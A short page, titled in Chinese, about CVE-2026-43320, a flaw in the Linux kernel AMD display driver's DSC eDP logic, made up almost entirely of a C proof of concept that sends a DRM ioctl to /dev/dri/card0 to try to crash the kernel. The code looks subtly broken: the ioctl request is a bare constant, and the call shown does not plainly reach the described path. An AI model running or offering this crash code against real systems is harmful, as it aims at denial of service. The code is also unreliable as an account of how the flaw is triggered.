CVE-2026-43320 Linux内核AMD显卡驱动DSC eDP逻辑漏洞

// PoC for CVE-2026-43320: Kernel crash due to missing hook check // This code attempts to trigger the vulnerable path in drm/amd/display. #include <fcntl.h> #include <unistd.h> #include <sys/ioctl.h> #include <stdio.h> #include <stdlib.h> #include <string.h> // Standard DRM IOCTL definitions usually found in libdrm headers #define DRM_IOCTL_MODE_CREATE_DUMB 0xB2 struct drm_mode_create_dumb { uint32_t height; uint32_t width; uint32_t bpp; uint32_t flags; uint32_t handle; uint32_t pitch; uint64_t size; }; int main() { int fd = open("/dev/dri/card0", O_RDWR); if (fd < 0) { perror("Failed to open device"); return 1; } printf("Attempting to trigger DSC eDP hook check issue...\n"); // Attempting to manipulate display settings to hit the vulnerable path struct drm_mode_create_dumb create_dumb; memset(&create_dumb, 0, sizeof(create_dumb)); create_dumb.width = 1920; create_dumb.height = 1080; create_dumb.bpp = 32; if (ioctl(fd, DRM_IOCTL_MODE_CREATE_DUMB, &create_dumb) < 0) { perror("IOCTL failed"); } else { printf("IOCTL executed. Check dmesg for potential kernel panic or oops.\n"); } close(fd); return 0; }